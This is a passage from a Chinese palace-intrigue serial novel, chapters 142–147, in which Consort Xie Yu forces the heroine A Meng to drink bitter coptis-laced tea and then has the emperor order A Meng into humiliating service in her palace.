谢妤被她突然的反击惊了一瞬,随即冷笑道:“你敢用这种口气和本宫说话?看来是皇上宠得你无法无天了!”
“臣妾不敢。”阿孟缓缓起身,行了一礼,“只是有些话,即便是娘娘,也不该随意出口。”
谢妤气得胸口起伏,正欲发作,突然想到什么,勾起一抹阴险的笑容。
“红豆,把那杯茶端过来。”
红豆会意,立刻端来一杯冒着热气的茶水,恭敬地递到谢妤面前。谢妤接过茶盏,目光如刀般刺向阿孟。
“孟贵妃,本宫亲手为你沏的茶,你可得喝了。”
阿孟闻言,低头看了眼那杯颜色过深的茶水,心中顿时惊诧。
“多谢娘娘美意,只是臣妾方才在苔蘅殿已饮过茶,恐怕——”
“怎么,连本宫的茶都不敢喝了?”谢妤眼中闪过一丝狠毒,“难道是做贼心虚?”
红豆在一旁添油加醋:“娘娘费心为孟贵妃准备的,若是不喝,岂不是不给娘娘面子?”
阿孟明白,今日若不喝下这茶,怕是难以脱身。她接过茶盏,深吸一口气,一饮而尽。
茶入口的瞬间,阿孟几乎要呕吐出来——这茶苦得出奇,带着一股刺鼻的药味,显然掺了什么东西。
“好喝吗?”谢妤阴谋得逞,阴狠问道。
阿孟强忍不适,面色如常:“多谢娘娘赐茶。”
“孟贵妃,”谢妤走近几步,声音压得极低,“你别以为自己真有几分本事。你那假死的把戏,本宫早已看穿。若不是皇上暂且看重你,本宫早就……”她拖长了尾音,眼中满是威胁。
阿孟忍着口中苦涩,面上却不露分毫:“臣妾愚钝,不明白娘娘的意思。”
“装傻?”谢妤冷笑一声,“你好日子还在后头呢。今天只是让你尝尝苦头,日后……”她意味深长地停顿片刻,“你还是乖乖安分些为好。”
红豆在旁边阴阳怪气道:“娘娘怀着皇嗣,万金之躯,还要亲自教导孟贵妃,真是操碎了心呢。”
“臣妾明白了。”阿孟垂首,声音平静,心中却暗中盘算,“多谢娘娘教诲。”
谢妤见她如此识趣,心中得意,摆摆手道:“看在皇上的面子上,你先回去吧。记住本宫今日的话,莫要再有什么异想天开的念头。”
阿孟行礼退下,刚出宫门,便觉腹中翻江倒海,脸色苍白
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如纸。她咬牙强撑着,回到苔蘅殿。
云珠一见阿孟脸色不对,连忙上前搀扶:“娘娘,您这是怎么了?”
阿孟摆摆手,走到屋内,再也支撑不住,弯腰呕吐起来。
云珠惊慌失措,连忙倒了水来。
“是不是谢贵妃那毒妇做了什么?”云珠愤愤不平,“娘娘,咱们不能就这样任她欺负啊!”
阿孟漱口后,脸色稍缓,苦笑一声:“她给我喝了杯茶,苦得出奇,想必掺了不少黄连。”
“贵妃实在是太过分了!”云珠气得直跺脚,“我这就去请太医来看看!”
“不必。”阿孟拦住她,“不过是些药材罢了,无碍性命。谢妤此举不过是警告,若真要害我,不会这般明目张胆。”
阿孟扶着云珠坐下,轻声安慰眼圈泛红的云珠:“别担心,我们不能冲动,谢妤现在有身孕,背后又有墨司渊,我们要等待合适的时机。”
“可是娘娘,”云珠忧心忡忡,“这宫里处处是她的眼线,咱们身边连个帮手都没有,怎么熬得过去啊?”
阿孟沉思片刻:“不知师父那边怎么样了,谢妤顾忌皇上,现在不敢动我,等师父进宫来,或许能帮我们一二。”
“只是不知他何时再来。”云珠咬唇,忍不住叹了口气,“这宫中如同牢笼,我们进出都要经过层层关卡,如今娘娘更是成为了众矢之的。”
云珠突然想起什么,恍然大悟般道:“娘娘,我听说后日有大朝会,皇上要**行赏,贺神医应该会来。”
阿孟点点头:“若能见到他,倒是可以托他帮个忙。”她顿了顿,“不过,眼下最重要的是养精蓄锐,静待时机。”
“我明白了。”云珠握住阿孟的手,“娘娘放心,我一定寸步不离地守着您。”
阿孟微微一笑,目光却投向窗外,心中百感交集。
宫中险象环生,她必须步步为营,亲族虽不在身边,但至少保全性命,她不能再节外生枝,让家人再受牵连。
“云珠,备些热水来,我想沐浴更衣。”阿孟轻声道,“今晚还要准备些东西。”
第142章 眼线
夜色渐深,苔蘅殿内。
阿孟沐浴后,身着一袭素雅寝衣,坐在妆台前。
她指尖轻触脸颊,心中暗自思量着宫外的情形。顾凛鹤是否安好?那些尚在康复的将士又如何了?
“娘娘。”云珠手捧热茶进来,面带忧色,“奴婢打探了一圈,贺神医依旧毫无消息。宫中到处都是谢妤的眼线,根本无法打听清楚。”
阿孟紧锁着眉,指关节不自觉地在桌面上轻叩:“师父行事向来随性,只怕是被墨司渊故意拦下了。”
“这可如何是好?”云珠放下茶盏,焦急道,“谢妤今日这般折辱您,明日还不知会使什么手段。我们总不能坐以待毙啊。”
阿孟眉心微蹙,轻抿一口茶:“别急,她不过是想让我知难而退。谢妤有孕在身,短时间内不会真对我下**,我们还有时间。”
“可
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第143章 并不怕他
墨司渊嘴角微勾,目光在阿孟与茶杯间来回转动,仿佛在欣赏一出有趣的戏码。他转头对阿孟说道:“既然是谢贵妃的心意,爱妃就喝了吧。”
阿孟望着那杯颜色深暗、散发着浓烈苦味的茶,已经第二次了。白日里的逼迫尚不够,这晚上又来折辱她。她抿了抿嘴,手未曾伸出。
“多谢谢贵妃的好意,臣妾稍后再喝。”阿孟面色如常,但语气中已有几分疏离,“这会儿臣妾刚沐浴完,身子热了,怕是喝了会不适。”
墨司渊眼睛一眯,语气中已带着三分威胁:“谢贵妃的心意,爱妃怎能不立刻接受?现在就喝下去。”
阿孟清楚看见墨司渊眼中的期待——他在等她求饶,等她跌落尊严,如同当初在宫中那般卑微乞怜。
那时的她,不过是他可随意玩弄的棋子罢了。
“既然是皇上旨意,臣妾自当遵命。”阿孟微微一笑,接过茶杯,毫不犹豫地一饮而尽。
她咽下那苦涩无比的液体,面色未变,只是嘴角牵起一抹浅笑:“多谢谢贵妃关怀,茶味甚好。”
墨司渊眉头一皱,显然没料到她如此从容。那双冷漠的眼中闪过一丝意外,继而又恢复了平静。
“孟贵妃好气度。”他意味深长地道,“不过,朕劝你还是收敛些为好。人在宫中,身不由己,别太拿自己当回事。”
阿孟行礼道:“臣妾谨记皇上教诲。”
红豆见阿孟竟真的将茶喝完,脸色有些难看。
她本以为这女人会向皇上求救,没想到竟如此硬气。
“皇上,娘娘还说,若孟贵妃喜欢这茶,以后每日都可送来。”红豆阴阳怪气道。
墨司渊瞥了红豆一眼:“你回去告诉谢妤,朕说不必了。”
红豆只得应是,退了出去。
阿孟喉间已泛起一阵灼烧感,但她神色从容,仿佛方才喝下的不过是甘甜的蜜水。
“怎么,皇上还有何吩咐?”阿孟问道,声音微微沙哑,却依旧镇定。
墨司渊冷眼看着她,指尖轻叩袍袖:“你倒是硬气。”
阿孟抬眸直视,眼中毫无退缩之意:“臣妾不过是遵从皇命罢了。”
“遵从皇命?”墨司渊冷笑一声,迈步向前,龙袍在烛火下投下长长阴影,“还是故意与朕作对?”
那杯黄连茶在阿孟喉中激起一阵灼热,她感觉胃中翻江倒海,却依旧站得笔直。
这点苦楚算什么?比起当年墨司渊对她和孟家的毁灭之举,这不过是小小惩戒罢了。
“臣妾不敢。”她微微俯首,声线不带丝毫波澜,“只是谢贵妃好意,臣妾理当领情。”
墨司渊盯着她脸上那道疤痕,心中莫名升起一丝烦躁。
从前在宫中,她眼中只有依恋与温顺;而今日,即便被他不小心毁了容,被谢妤逼喝苦茶,也能神色不改。
“你如今竟是乖巧不少,”墨司渊阴沉着脸,眸中寒光闪动,“边关一行,你倒是学会了顺从。”
“吃苦忍耐,本就是为臣之道。”阿孟淡然回应,心中却暗自握紧了拳头。
她知道墨司渊此刻正在试探,一如既往,这个男人从未信任过任何人。
“你宁愿自己难受,也不肯向朕开口求助吗?”墨司渊突然逼近一步,语气带着几分咄咄逼人。
苔蘅殿内烛火摇曳,映照出两人对峙的身影。阿孟面无表情,眼中却藏着一片冰冷。
“皇命不可违,臣妾不敢不从。”阿孟缓缓开口,声音平静如水,却如刀锋般锐利。
墨司渊被她这番话堵得哑口无言,他无法否认自己的态度。
这不是他熟悉的那个孟方意,那个会为他流泪、会向他求饶的孟方意。
面前这女子身上散发出的坚毅与冷漠,让他既恼怒又困惑。
“你——”墨司渊抬手,阿孟却突然冷笑,迎了上去。
“皇上,您若是想打便打,在这宫中,您即便是打死我,想必也不敢有人透露出半点风声。”
墨司渊瞳孔微缩,似乎要再说什么,却又止住了。
他深深看了阿孟一眼,眼中满是复杂情绪,最终一甩衣袖,愤然离去,殿门被重重合上。
云珠连忙从屏风后奔出,扶住已经脸色苍白的阿孟:“娘娘,您没事吧?”
阿孟摆摆手,走到案前坐下。
那杯黄连茶的苦味仍在口中回荡,但比起往昔的血泪,不过是味觉上的普通刺激罢了,她轻轻闭眼,等待体内的不适渐渐平息。
殿外传来墨司渊的脚步声,渐行渐远,消失在夜色中。
阿孟睁开眼,眼中冷芒一闪而逝。
她紧绷的身体终于松懈下来,脸色瞬间变得苍白如纸。
墨司渊刚走,云珠就急忙拿来木盆,阿孟再也忍不住,俯身呕吐起来。
那杯黄连茶的苦毒在体内肆虐,让她胃中翻江倒海。
云珠心疼地轻拍阿孟的后背,眼中满是担忧和愤怒:“娘娘,谢贵妃太过分了!那杯茶明明就是故意为难您。皇上也太偏心,怎么能这样对您!”
阿孟擦了擦嘴角,接过云珠递来的清水漱口,声音虽然沙哑却依然坚定:“无妨,别担心,往后的苦……不会比现在少。”
“可是娘娘,您为何不向皇上求情?”云珠红着眼眶问道,“您明知那茶有问题,为何还要一饮而尽?”
阿孟冷笑一声,眼中闪过一丝锋芒:“求情?向那个毁我容貌、害我家族的人求情?我宁可死,也不会再向他低头。”
她站起身来,走到窗前,望着远处皇宫的灯火,声音低沉:“墨司渊想看我卑微求饶,想看我像从前那样对他言听计从。可惜。”
云珠看着主子坚毅的侧脸,心中既心疼又敬佩:“娘娘放心,无论如何,云珠都会跟随您。”
阿孟微微一笑,轻轻握住云珠的手:“有你在,我便不孤单。”
“娘娘…”云珠眼眶微红,低声道,“奴婢只恨自己无能,不能为您分担更多。”
阿孟摇头,轻抚云珠的发:“你已经做得很好了。”她起身走到窗前,望着夜色中的宫墙,“明日后宫必有风波,你且小心行事。”
第144章 再回谢妤身边
另一边,红豆快步穿过长廊,回到谢妤宫中。
殿内烛火通明,谢妤正倚在软榻上,手中把玩着一支金钗。
“娘娘,奴婢回来了!”红豆跪地行礼,眼中满是兴奋,“那孟贵妃当着皇上的面,真的把那杯黄连茶喝了个精光!”
谢妤闻言,立刻坐直了身子:“当真?她没有向皇上求情?”
“没有!”红豆添油加醋道,“不过您该看看她那副强忍的模样,脸色都白了,却还要装作若无其事。”
谢妤听罢,脸上泛起红晕,眼中闪烁着恶毒的光芒:“这贱人倒是硬气,不过…”她轻抚腹部,冷笑道,“她越是硬气,皇上越会厌烦。”
“娘娘英明!”红豆连连点头,“皇上向来喜欢温顺的女子,那孟贵妃如此刚硬,怎能得宠?”
谢妤站起身,走到妆台前,细细打量镜中的自己:“皇上明晚会来,我得好好打扮一番。”她深知墨司渊对阿孟还有些在意,为了进一步折磨阿孟,她决定使出狐媚手段。
“娘娘本就国色天香,再加上肚中龙胎,皇上定会更加宠爱。”红豆殷勤地取来华贵的衣裳。
第二日,夜色渐深,墨司渊果然来到谢妤宫中。
谢妤一见龙袍翩然,立刻娇声迎上去:“皇上来了,臣妾可想您了。”
墨司渊面色阴沉,显然心情不佳。
谢妤却不在意,软语温存,极尽讨好之能事。
她依偎在墨司渊怀里,娇嗔地说:“皇上,您整日为朝政操劳,可要多注意身体呀。臣妾怀着龙胎,心里一直担心您,可又怕打扰您。”
说着,还轻轻擦拭着眼角并不存在的泪水。
“朕无事。”墨司渊语气冷淡,目光却落在谢妤微隆的腹部。
谢妤见状,立刻抓住机会,拉着墨司渊的手放在自己腹上:“皇上,您摸摸,这可是您的龙子,他今日动得格外欢呢。”
墨司渊眉头微松,手掌在谢妤腹部停留片刻:“好好养着。”
谢妤眼中闪过一丝得意,又故作关切道:“皇上今日看起来心事重重,可是朝中又有烦心事?还是…”她故意停顿,“是孟贵妃惹您不快了?”
墨司渊眼神一冷:“你怎知道?”
谢妤心中暗喜,面上却装作委屈:“臣妾只是猜测。那孟贵妃回宫后处处与臣妾作对,臣妾也是忍让再三。今日不过是送杯茶表示关心,她竟当着皇上的面如此无礼。”
“她喝了。”墨司渊冷冷道。
谢妤一愣,随即笑道:“是喝了,可那副表情,分明是不情不愿。皇上,您说她是不是太不识抬举了?她那副表现,分明就是故意触您的眉头!”
“她刚从边关回来,臣妾也是为了她的身子考虑,她不喜臣妾倒无所谓,可连带着您也……”
“罢了!”墨司渊突然打断她,“朕不想再提此事。”
谢妤见墨司渊动怒,立刻噤声,眼中却闪过一丝阴毒。
她轻轻抚摸墨司渊的手臂,柔声道:“皇上别生气,臣妾只是心疼您。来,臣妾亲自为您斟酒。”
墨司渊冷哼一声,却也不再发作。
谢妤心中暗自盘算,今晚定要好好讨得皇上欢心,让那孟贵妃更加难堪。
“皇上近日操劳朝政,臣妾备了您最爱的桂花酿,请尝一尝。”谢妤亲自斟了一杯美酒,双手捧着递到墨司渊面前,媚眼如丝。
墨司渊接过酒盏,一饮而尽。
淡淡的桂花香弥漫口中,竟让他心情好了几分。
见墨司渊面色缓和,谢妤更是得寸进尺,软软地靠在他身侧。
“听说谢爱妃这几日胃口不好?”墨司渊突然问道,眼中闪过一丝隐晦的关切。
谢妤闻言,眼中立刻泛起泪光,故作柔弱道:“皇上还记得,臣妾心里甚是欢喜。只是这身子越发沉重,夜里总是辗转难眠,心里也不踏实。”
“那该如何是好?”墨司渊皱眉,轻抚她的发丝。
谢妤垂眸,声音轻如蚊蚋:“臣妾思来想去,还是那孟贵妃伺候得最好。之前有她在,臣妾和肚子里的龙胎都安稳得很。”她抬头,眼中含着恰到好处的恳切,“皇上,您看能不能让她来贴身伺候臣妾,直到臣妾临盆?”
墨司渊眸光一闪,想到阿孟倔强的样子,心中掠过一抹阴鸷的笑意。
让阿孟去伺候谢妤,这倒是个磋磨她性格的好机会。他不信,哪怕受尽了苦楚,她还能忍着不同自己求饶。
“妤儿放心,朕明日就下旨让她过来。”墨司渊几乎是毫不犹豫地答应了,语气中带着几分隐秘的快意。
谢妤眼中闪过一丝得逞的笑意,却又迅速敛去,换上感激涕零的表情。
她跪到墨司渊面前,执起他的手贴在自己脸颊上:“皇上对臣妾真好,臣妾今后定当更加小心伺候,不负皇上恩宠。”
墨司渊将她扶起,看着谢妤垂泪的样子,心中冷笑。
他何尝不知谢妤的心思?不过是想找机会折磨阿孟罢了。但这正合他意,他要看看阿孟究竟能忍到几时。
他要让阿孟知道,只有他才能庇护她!
“好了,别哭了,小心动了胎气。”墨司渊拭去她眼角的泪,声音不见丝毫温度。
谢妤抽泣着点头,又柔柔地钻进墨司渊怀里,像只温顺的猫儿。
她感受着墨司渊轻拍自己的动作,唇角却不由勾起冷笑。
阿孟啊阿孟,我要让你在我面前俯首称臣,要让你求生不得求死不能。
谢妤在心中冷冷想着,面上却是一副柔弱娇怜的模样。
“皇上,臣妾想听您讲讲边关之事。”谢妤仰头,眼中满是崇拜的光芒。
墨司渊看着她讨好的样子,心中虽有几分烦闷,但今夜心情不错,便随口讲起了几件趣事。
谢妤不时发出轻笑,眼中却毫无波澜,只想着明日如何给那孟贵妃下马威。
第二天清晨,晨曦初现,墨司渊刚离宫上朝,谢妤便迫不及待地唤来红豆。
“速去苔蘅殿,把孟贵妃给本宫请来。”谢妤慵懒地靠在锦榻上,轻抚着微隆的腹部,眼中闪过一丝狡黠,“告诉她,这是皇上的旨意,看她如何拒绝。”
红豆会意一笑,福身退下:“娘娘放心,奴婢这就去。”
第145章 殿内交锋
红豆来到苔蘅殿外,昂首挺胸踏入殿中。
殿内,阿孟正与云珠低声交谈,见红豆进来,二人同时抬头。
“孟贵妃好雅兴。”红豆阴阳怪气地先开了口,傲然扫视殿内陈设,眼中尽是不屑。
阿孟放下手中茶盏,神色平静:“红豆姑娘大驾光临,有何贵干?”
红豆高昂着头,声音提高八度:“孟贵妃,皇上有旨,着您即刻前往谢贵妃宫中,贴身伺候!在娘娘临盆之前,不得离开,一切以龙胎为重。这可是圣旨,您可不能违抗!”
此言一出,云珠脸色骤变,上前一步:“红豆姑娘,我家娘娘刚从边关回来,身子还未调养好,如何能日夜伺候?我家娘娘也是贵妃身份,岂能—”
“闭嘴!”红豆厉声呵斥,“谁准你说话的?这是皇上的旨意,谁敢违抗?”她转向阿孟,眼中满是讥讽,“孟贵妃,您还不快收拾收拾?可别让我家娘娘久等。”
云珠急得眼泪都要掉下来:“娘娘,您不能就这么去啊!要不奴婢同您一起—”
“只请了孟贵妃一个人,”红豆冷笑打断,“你这丫头,是耳朵聋了吗?”
殿内气氛顿时紧张,阿孟却始终面不改色。
她缓缓站起身,轻轻拍了拍云珠的手,安抚道:“无妨,谢贵妃身怀龙胎,我伺候一二也是分内之事。”
“娘娘!”云珠急得眼圈泛红。
阿孟微微摇头,眼神示意云珠冷静,又以口型表示道:“你留在殿中,有什么事情立刻通过小路来报。”
她整理了衣袖,转身对红豆淡然道:“走吧,不必煎熬谢贵妃的耐心。”
红豆一愣,她原本以为阿孟会抗拒一番,却没想到对方如此平静地接受。
她有些失望,却又暗暗得意:等着瞧吧,谢贵妃已经准备好了好戏。
阿孟走出宫门前,回头望了云珠一眼,唇角微微上扬,安抚地点点头。
云珠满眼担忧,却只能目送主子离去。
一路上,红豆故意走得极快,想要让阿孟吃些苦头。
岂料阿孟步伐稳健,跟随自如,让红豆格外恼火。
“孟贵妃,”红豆终于忍不住冷嘲热讽,“您可要做好准备,我家娘娘这胎不好养,您这一伺候啊,怕是要吃不少苦头。”
阿孟轻声一笑,语气平静得让人心慌:“无妨,比起将士们杀敌之苦,宫中这点小事,不足挂齿。”
这份从容让红豆心中更加憋闷,加快脚步向谢妤宫中走去。
阿孟望着那熟悉的宫殿轮廓,心中却是一片澄明。
谢妤宫中,香气袭人。阿孟随红豆步入内殿,只见谢妤正与顾奚慈一同品茗闲谈。两人见她进来,交换了一个意味深长的眼神。
顾奚慈放下茶盏,眼中闪过一丝怨毒和嫉妒,冷笑道:“哟,这不是孟贵妃吗?听说在边关过得风生水起啊,怎么又回来了?我还以为你会死在那儿呢。”
阿孟连看都没看她一眼,径直走到谢妤面前行礼:“参见谢贵妃。”
谢妤抚摸着微隆的腹部,假惺惺地笑道:“孟贵妃来了,快请坐。”她指了指身旁的矮凳,那位置比她低了一截,分明是故意羞辱。
阿孟却站着不动,平静地说:“谢贵妃有何吩咐,还请明示。”
谢妤脸上的笑容僵了僵,随即又恢复了那副温柔模样:“孟贵妃何必如此生分?皇上特意让你来照顾我和龙胎,咱们以后可是朝夕相处。”
“是啊,”顾奚慈插嘴道,语气阴阳怪气,“孟贵妃可是皇上钦点的贴身侍女呢,多么荣幸啊。”
阿孟依旧不为所动:“臣妾明白自己的职责,只要谢贵妃吩咐,定当尽心竭力。”
谢妤眼中闪过一丝不悦,她本想看到阿孟愤怒或屈辱的样子,却没想到对方如此淡然。
她轻轻拍了拍身边的座位:“坐下说话。”
“臣妾站着便好。”阿孟声音平静,“伺候贵妃本就该立着,臣妾不敢僭越。”
顾奚慈冷笑一声:“装什么清高?不过是个毁了容的废物,还摆什么架子?”
谢妤轻咳一声,示意顾奚慈住口,转而对阿孟道:“孟贵妃,我这胎儿不稳,时常闹腾,夜里总是睡不安稳。皇上让你来,就是要你日夜守在我身边,随时照料。”
阿孟微微颔首:“臣妾明白。”
顾奚慈见阿孟不理会自己,心中怒火更甚,眼角不由得抽动两下。
她挺直腰背,故意高声讽刺道:“孟贵妃可真是厉害,把皇上和顾将军都迷得团团转,也不知道使了什么手段。”
这话出口,殿内空气瞬间凝固,侍女们纷纷低下头,不敢抬眼。
阿孟放下手中茶盏,目光如刀般扫过顾奚慈的面庞。
她不紧不慢地站起身,声音冷得像冬日里的寒霜:“顾小姐慎言。若再胡言乱语,本宫可不会轻易放过你。”
她往前一步,身姿挺拔如松,面对顾奚慈丝毫不退让:“本宫身为贵妃,一言一行皆代表皇家颜面,还轮不到你在这里放肆。”
顾奚慈没想到阿孟竟敢当众驳她面子,被噎得满脸通红。
她恼羞成怒,猛地站起身来,裙摆擦过茶几,杯盏晃动发出清脆响声。
“你——”她伸出手,似乎想要推搡阿孟。
“你敢动手?”阿孟毫不畏惧,反而上前一步,眼中寒芒闪烁,“别忘了你的身份,本宫的贵妃之位,岂是你能随意冒犯的?”
谢妤坐在上首,冷眼旁观这一幕。她本想看阿孟出丑,没想到这女人不仅不怕,反而气势逼人。
此刻若再不出面,怕是要坏了她的计划。
“好了!”谢妤拍案而起,声音略显尖锐,“顾小姐,你先下去吧。孟贵妃初来,我有些事要交代。”
顾奚慈不甘心地瞪了阿孟一眼,却不敢违抗谢妤的意思,只得咬牙行礼退下。
谢妤目送顾奚慈离开,嘴角挂着若有若无的冷笑:“孟贵妃,你可真是伶牙俐齿。不过,在我这里,你最好放下那副高高在上的姿态,否则,皇上怪罪下来,本宫可保不住你。”
阿孟心中冷笑,面上却恭敬点头:“臣妾自然会尽心竭力。”
第146章 入住宫中
谢妤满意地轻抚着腹部,眼中闪过一丝得意:“红豆,带孟贵妃去看看她的住处。”
“是,娘娘。”红豆福身应下,转头对阿孟挤出一抹假笑,“孟贵妃,请随我来。”
阿孟随红豆穿过华丽的主殿,经过几道曲折的回廊,最终停在一处偏僻角落。
红豆推开一扇木门,扬手示意:“孟贵妃,这就是您的住处了。”
眼前是个不足三步见方的柴房,地上散落着杂物,角落堆着几捆枯草,一股霉味直扑面门。
红豆眯着眼,观察阿孟的反应:“怎么样,孟贵妃满意吗?”
阿孟淡然扫视一圈,脸上始终未有半分波澜:“很好,勉强能住。”
红豆见她无动于衷,心中不快:“那就请孟贵妃收拾一下,晚些时候要伺候娘娘沐浴更衣。”说完便转身欲走。
“且慢。”阿孟突然开口,红豆闻言停下,心想这贵妃终于忍不住要抗议了。
“告诉谢贵妃,我需要些干净布料和热水,毕竟要贴身服侍,不能让龙胎受半点影响。”阿孟语气平和,却不容拒绝。
红豆愣了片刻,脸色略显难看:“孟贵妃还真会使唤人。”
“这不是使唤,是为了龙胎考虑。”阿孟平静回应,“若谢贵妃不同意,可直接告诉皇上,说我没尽责。”
红豆咬了咬牙:“我会转告娘娘。”说完便匆匆离去。
阿孟独自站在柴房中,眼神逐渐变得锐利。
她走向角落,拨开杂物,仔细检查每个可疑之处。虽然住处简陋,但反倒方便她行事。
若非必要,她并不想在谢妤宫中夜宿。
“不管你做什么,我都奉陪到底。”阿孟低语,指尖轻抚那道疤痕,心中已有打算。
片刻后,红豆领着两名宫女走来,手中捧着清水与布料。
“孟贵妃,娘娘说了,这些东西准你使用。”红豆的语气依旧不善,“不过娘娘说,别耗费太多时间在自己身上,记得你的本分。”
阿孟接过布料,平静答道:“替我谢过谢贵妃。告诉她,午后我便去请安。”
红豆抱臂而立,丝毫不掩饰眼中的轻蔑,她踱了两步,染了胭脂的指尖有意无意掠过阿孟的肩膀。
“孟贵妃,有件事我得提醒你。”红豆声音里带着几分刻意的甜腻,“我家娘娘这胎可金贵着呢,前三个月时常有些不适,太医都说这几月最是要紧。”
阿孟将布料展开,动作不急不缓,似乎全然不在意红豆的话语。她眼神专注在手中的布料上,仿佛那是什么稀世珍宝。
红豆见她不搭腔,脸上闪过一丝恼怒,继续道:“皇上可是亲口吩咐,说娘娘若有半点闪失,定要严惩负责之人。”她特意在“严惩”二字上加重了语气,“孟贵妃可千万要注意分寸,别让自己难做。”
阿孟抬眼,目光平静如水:“红豆姑娘放心,伺候主子是奴才的本分。”她微微颔首,语气淡然,“若谢贵妃真有闪失,我自会向皇上请罪。”
红豆没想到阿孟竟如此镇定,原本准备好的尖酸刻薄之言顿时哽在喉头。她悻悻然收回伸出的手,不甘心道:“孟贵妃倒是看得开,也不知这副硬骨头能撑多久。”
“多谢红豆姑娘关心。”阿孟轻轻一笑,眼底却无半分温度,“我这人向来专心做事,不会辜负皇上和谢贵妃的期望。”
红豆冷哼一声,转身欲走,又停下脚步:“对了,娘娘午后要歇息,你最好提前准备些安神的花茶。”
“知道了。”
红豆满意地扬了扬下巴,终于带着满脸得意离开了。
阿孟看着红豆远去的背影,眼神逐渐变得锐利。
她将柴房门轻轻掩上,靠在门板上深吸一口气。
谢妤这是要她日夜伺候,好借机羞辱她,消磨她的意志。
在权谋之中,静待时机比急于反击更为重要。既然如此,她便先隐忍,等待时机。
阿孟整理了一下衣袖,开始清理这间狭小的柴房,为接下来的日子做准备。
她将杂物分类堆放,用布料擦拭积尘,动作利落而有序。
谢妤宫中,顾奚慈坐立不安,来回踱步,眼中满是不甘。
她停在谢妤面前,咬牙切齿道:“谢贵妃,您为何拦着我?那贱人竟敢如此嚣张,我真想撕烂她那张脸!”
谢妤懒洋洋地靠在软榻上,指尖轻轻拨弄茶盏上飘浮的茶叶,眼中闪过一丝不耐烦。
她抬眼看向顾奚慈那副气急败坏的模样,心中暗自鄙夷。
“顾小姐,”谢妤的声音不疾不徐,带着几分高高在上的傲慢,“你可知什么叫韬光养晦?一时的痛快,难道比得过日后的尽情报复?”
顾奚慈怔了怔,随即反应过来:“谢贵妃的意思是……”
谢妤放下茶盏,轻抚腹部,嘴角勾起一抹似有若无的冷笑:“现在她住在我宫里,日日贴身照顾,你认为……磨人的机会会少吗?”
顾奚慈双眼一亮,恍然大悟:“原来如此!谢贵妃果然深谋远虑。”她兴奋地捏紧了拳头,“那我以后就能……”
“慢慢来,”谢妤打断她的话,眼中闪过一丝嫌恶,却又很快掩去,“顾将军的妹妹,竟如此沉不住气?”
顾奚慈脸色一白,下意识低头:“谢贵妃教训得是,是我太急躁了。”
谢妤看着顾奚慈那副马上要扑上去撕咬猎物却被迫克制的样子,心中更加不屑。
每次一提到顾凛鹤,这女人就变得如此失态,毛毛躁躁,毫无城府。
“你有的是机会,”谢妤语气缓和了些,“她在我宫中,一举一动都由不得她。你可以慢慢把玩,但切记,不要留下什么把柄。”
顾奚慈眼中闪过一丝残忍的光芒:“谢贵妃放心,我定会好好''照顾''她。”
“娘娘!”人未到,声先至。
红豆匆匆步入殿内,脸上挂着胜利的笑容,“那孟贵妃已在柴房安顿下来了。”
“哦?”谢妤懒懒抬眼,指尖轻敲扶手,“她可有什么不满?”
“她倒是装得挺好,”红豆冷笑一声,“一副安之若素的模样,连眉头都没皱一下。”
第147章 污蔑不成
顾奚慈闻言,不屑地嗤笑道:“装什么清高,等她在柴房里躺上一晚,趴在地上给谢贵妃揉腿时,看她还能不能保持这副模样。”
“顾小姐放心,”谢妤嘴角微扬,眼底却冷若冰霜,“我自有法子让她明白自己的处境。”她抚摸着微隆的腹部,语气忽转温柔,“我这龙胎贵重,她若敢怠慢半分,便是死罪。”
顾奚慈拢了拢袖口,眼中恨意翻涌:“我就盼着她犯错,好让皇上亲手处置她。”
谢妤没有接话,只是望向窗外,心中已有盘算。这孟贵妃回宫后处处碍她眼,今日终于落到她手中,她怎会轻易放过?
夜色渐浓时,阿孟正在整理柴房内的杂物,忽听门外匆匆的脚步声。
门板被猛然推开,一名身着淡绿宫装的宫女立在门口,神色傲慢。
“孟贵妃,谢娘娘有请,速速前往。”宫女声音尖细,眼中满是轻蔑。
阿孟停下手中活计,平静问道:“这般时候,谢贵妃有何事?”
“哟,”宫女冷笑一声,“孟贵妃还真把自己当贵妃了?谢娘娘身怀龙胎,夜间睡不安稳,特命你去贴身伺候,整夜守着!”
阿孟眉头微蹙,心中虽有不悦,面上却不显半分:“我这就去。”
宫女上下打量她几眼:“孟贵妃倒是识趣。不过告诉你,你若敢有半点怠慢,皇上饶不了你!”
“姑娘放心,”阿孟面色冷漠,言语生硬,“照顾谢贵妃是我分内之事,自然尽心竭力。”
她一边整理衣襟,一边暗自思忖:谢妤深夜召她,必有折辱之意。如此看来,这场争斗才刚开始。
宫女见她平静应对,反而气结:“走吧,别磨蹭,娘娘等急了。”
阿孟跟着宫女穿过幽深回廊,心中已有了应对之策。
寝殿内,香气馥郁,谢妤半倚在锦榻上,一袭淡粉色寝衣衬得她肤若凝脂。
见阿孟进来,她立刻收起手中的绣绷,故作惊讶地抬眼。
“孟贵妃可算是来了,本宫还以为你要推辞呢。”谢妤嘴角挂着温柔假象,眼底却泛着冷光。
阿孟微微欠身,面上不卑不亢:“谢贵妃召唤,臣妾岂敢迟疑。”
谢妤慢条斯理地撩了撩鬓边发丝,轻声道:“你既然懂规矩,那我也不必多说了。”
她摆手示意婢女们上前:“红豆今晚便不必守夜了,有劳孟贵妃贴身照顾。”
红豆闻言,满脸惊讶,连忙跪地不起:“娘娘,奴婢一向服侍您,怎么能让孟贵妃取代奴婢呢?”
谢妤面露假意疼惜,抚了抚红豆的发髻:“你日夜辛劳,本宫心疼你。况且……”她目光转向阿孟,带着几分揶揄,“孟贵妃精通调理之术,照顾得好本宫的龙胎。”
阿孟心知这是谢妤借机羞辱自己,仍然不动声色地低首应道:“臣妾定当尽心竭力,不负谢贵妃所托。”
谢妤满意地笑了,指尖轻轻敲打着软榻:“那就劳烦孟贵妃先去准备一盆热水,为本宫洗脚。既然要贴身伺候,就从这最基本的开始吧。”
殿内众婢女闻言,纷纷掩嘴偷笑。
一位贵妃亲自为另一位贵妃洗脚,这般羞辱,谁人不知?
阿孟眼中闪过一丝冷意,随即敛去:“请谢贵妃稍候,臣妾这就去准备。”
谢妤见阿孟如此平静,心中有些恼怒,却仍保持着端庄姿态。
待阿孟走后,她对周围婢女道:“孟贵妃办事细心,你们有什么活计都可托给她。既然她来了,你们也能轻松些。”
众婢女会意,连连点头称是。
红豆凑近谢妤耳边,低声道:“娘娘,您这是……”
谢妤只是微微一笑:“贵妃本就该贴身伺候龙胎,难道不是吗?”
她抚摸着微隆的腹部,眼中闪过一丝狠毒:“让她做遍宫中杂役,看她还能不能保持这般清高。”
